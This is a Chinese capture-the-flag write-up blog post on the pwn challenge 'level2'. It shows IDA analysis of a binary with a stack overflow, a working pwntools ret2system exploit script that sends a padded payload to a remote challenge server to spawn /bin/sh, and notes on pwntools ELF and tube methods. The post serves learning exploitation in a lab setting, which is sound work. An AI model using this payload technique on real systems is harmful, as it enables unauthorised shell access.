level2-嘌来的wp

这次做下level2这道题。

开始先自己去分析结构:

1、IDA打开,看到push的时候会打印出Hello World!,然后会call到system

 

接着shift+F12查看字符,发现有system/bin/sh

 

 然后回到main函数中F5,

 

我们看到溢出函数也很简单,因此此处我们可以构造payload获得shell,从而得到flag .

2、函数的栈帧如下:

3、构造代码,在这里的时候构造出来问题查看wp。

from pwn import *
elf = ELF("./level2")
io = remote("111.198.29.45",44725)
sys_addr = elf.symbols["system"]
bin_addr = elf.search('/bin/sh').next()
payload = 'a' * (0x88 + 4) + p32(sys_addr) + p32(0) + p32(bin_addr)
io.recvline()
io.sendline(payload)
io.interactive()
io.close()

4、结果

 

 

知识回归:

这次学到了一个新的函数ELF,以及下面的方法symbols和search

ELF 用来操作ELF文件的工具

elf = ELF('pwn')

hex(elf.address)

hex(elf.symbols['write'])

hex(elf.got['write'])

hex(elf.plt['write'])

与pwnlib.tubes的常见交互方式

recv()

recvuntil()

recvline()读取到'\n'

recvlines(n)

recvall() 读取到EOF

 

send()

sendline()会自动加换行符

作者:23R3F
链接:https://www.jianshu.com/p/d3187a63c582
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
 

 

posted @ 2020-02-29 13:01  MTcx  阅读(262)  评论(0编辑  收藏  举报